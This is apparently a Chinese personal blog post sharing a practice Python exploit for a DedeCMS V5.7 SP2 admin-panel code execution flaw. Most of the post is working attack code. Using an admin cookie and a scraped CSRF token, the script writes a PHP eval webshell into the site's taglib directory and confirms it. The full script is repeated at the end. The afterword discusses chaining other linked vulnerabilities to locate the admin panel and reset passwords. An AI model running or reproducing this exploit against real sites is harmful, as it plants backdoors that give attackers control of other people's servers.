Catalog
  1. 1. DedeCMS V5.7 SP2后台代码执行漏洞拿webshell
  2. 2. 环境
    1. 2.1. 操作系统
    2. 2.2. 编译器
    3. 2.3. Python版本
  3. 3. 代码分析
    1. 3.1. 带上已经登入后的cookie再次请求
    2. 3.2. 获取token的值
    3. 3.3. getshell
  4. 4. 后话
DedeCMS V5.7 SP2 getshell exp 练手

自己练手写了一个exp,说实话有点鸡肋,不过反正是练手嘛。

DedeCMS V5.7 SP2后台代码执行漏洞拿webshell

漏洞不是我审计出来的,只是他没写exp,我自己练手写了。
参考网站:https://www.0dayhack.com/post-806.html

环境

操作系统

操作系统 Windows10

编译器

pycharm

Python版本

Python3

代码分析

这次函数都没定义,写得一点都不规范。

带上已经登入后的cookie再次请求

1
2
3
4
host = 'http://127.0.0.1'  # 织梦的网址
cookie = "menuitems=1_1%2C2_1%2C3_1; hd_sid=gkwZpM; DedeUserID=1; DedeUserID__ckMd5=21525998e2bf23ac; PHPSESSID=a8vetc0q9j1jr0glocmr9iaq47; DedeLoginTime=1539255891; DedeLoginTime__ckMd5=c98838290139737e; _csrf_name_13a77a19=cca919ac2d38b7a95be29c2215f26b09; _csrf_name_13a77a19__ckMd5=0cab530703fcb0ac" # 输入cookie
headers = {'Cookie': cookie} # 在headers头添加cookie
rs = requests.get(host + '/dede/tpl.php?action=upload ', headers=headers) # 带上cookie请求后台上传网址

![](/images/DedeCMS V5.7 SP2 getshell exp 练手/1.png)
打开浏览器,登录后台以后,按f12开发人员工具,点击network,查看流量包,查看里面的cookie。
cookie:
Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于 RFC2109 和 2965 中的都已废弃,最新取代的规范是 RFC6265 [1] 。(可以叫做浏览器缓存)

获取token的值

1
2
3
4
5
6
7
soup = BeautifulSoup(rs.text, 'html.parser')  # 获取网页源码
width = soup.find(width="504") # 查找width="504"的内容
width1 = str(width) # 将获取到的内容进行类型强转
rex = r"(?<=input name=\"token\" type=\"hidden\" value=\").*(?=\")" # 利用re模块匹配token的值
result = re.finditer(rex, width1, flags=re.M)
for match in result:
token = match.group()

这个其实是用前面博客学到的东西来写的,用BeautifulSoup模块和re模块进行内容的获取。
附上运行的图理解一下:
![](/images/DedeCMS V5.7 SP2 getshell exp 练手/2.png)
![](/images/DedeCMS V5.7 SP2 getshell exp 练手/3.png)

getshell

1
2
3
4
5
6
7
8
9
10
11
    # 带上cookie和token的值写shell
rs = requests.get(
host + '/dede/tpl.php?filename=9finger.lib.php&action=savetagfile&content=%3C?php%20eval($_POST[\'pass\'])?%3E&token=' + token,
headers=headers)
# 查看是否写入shell
zt = requests.get(host + '/include/taglib/9finger.lib.php')
ok = zt.status_code
if ok == 200:
print ('shell的路径是' + host + '/include/taglib/9finger.lib.php')
else:
print ('失败了')

这个也是前面学习到的内容写的,不解释了。
![](/images/DedeCMS V5.7 SP2 getshell exp 练手/4.png)
![](/images/DedeCMS V5.7 SP2 getshell exp 练手/5.png)

后话

其实一开始觉得这个博客有点鸡肋,但是后来在写的过程中发现好像有一套完整的方法可以getshell,现在我写的代码的前置条件是,1:知道后台 2:得到了管理员的账号密码。
但是后来我在写代码的过程看了别的博客,找到了另一个漏洞可以满足一个前置条件。
第一个:
https://www.0dayhack.com/post-801.html
这个我已经验证过,可以通过漏洞查找到网站后台。
![](/images/DedeCMS V5.7 SP2 getshell exp 练手/6.png)
第二个:
这个还没验证,是任意用户可以通过漏洞更改前台会员密码。
https://www.0dayhack.com/post-768.html
因为更改不是管理员账号密码,所以懒得去验证了。
所以现在还是有那么一个问题没解决,没有办法去获取管理员账号密码。
这里顺便把源码发一下吧。现在织梦官网最新的还是这套源码,不过以后应该是会更新修复的。
链接:https://pan.baidu.com/s/1TGzuRGEmSlTGS050CPBK9A
提取码:vkzl

附上完整源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# coding=utf-8

from bs4 import BeautifulSoup
import requests
import re

host = 'http://127.0.0.1' # 织梦的网址
cookie = "menuitems=1_1%2C2_1%2C3_1; hd_sid=gkwZpM; DedeUserID=1; DedeUserID__ckMd5=21525998e2bf23ac; PHPSESSID=a8vetc0q9j1jr0glocmr9iaq47; DedeLoginTime=1539255891; DedeLoginTime__ckMd5=c98838290139737e; _csrf_name_13a77a19=cca919ac2d38b7a95be29c2215f26b09; _csrf_name_13a77a19__ckMd5=0cab530703fcb0ac" # 输入cookie
headers = {'Cookie': cookie} # 在headers头添加cookie
rs = requests.get(host + '/dede/tpl.php?action=upload ', headers=headers) # 带上cookie请求后台上传网址
soup = BeautifulSoup(rs.text, 'html.parser') # 获取网页源码
width = soup.find(width="504") # 查找width="504"的内容
width1 = str(width) # 将获取到的内容进行类型强转
rex = r"(?<=input name=\"token\" type=\"hidden\" value=\").*(?=\")" # 利用re模块匹配token的值
result = re.finditer(rex, width1, flags=re.M)
for match in result:
token = match.group()
# 带上cookie和token的值写shell
rs = requests.get(
host + '/dede/tpl.php?filename=9finger.lib.php&action=savetagfile&content=%3C?php%20eval($_POST[\'pass\'])?%3E&token=' + token,
headers=headers)
# 查看是否写入shell
zt = requests.get(host + '/include/taglib/9finger.lib.php')
ok = zt.status_code
if ok == 200:
print ('shell的路径是' + host + '/include/taglib/9finger.lib.php')
else:
print ('失败了')
Author: 九指
Link: /2018/10/12/DedeCMS%20V5.7%20SP2%20getshell%20exp%20%E7%BB%83%E6%89%8B/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶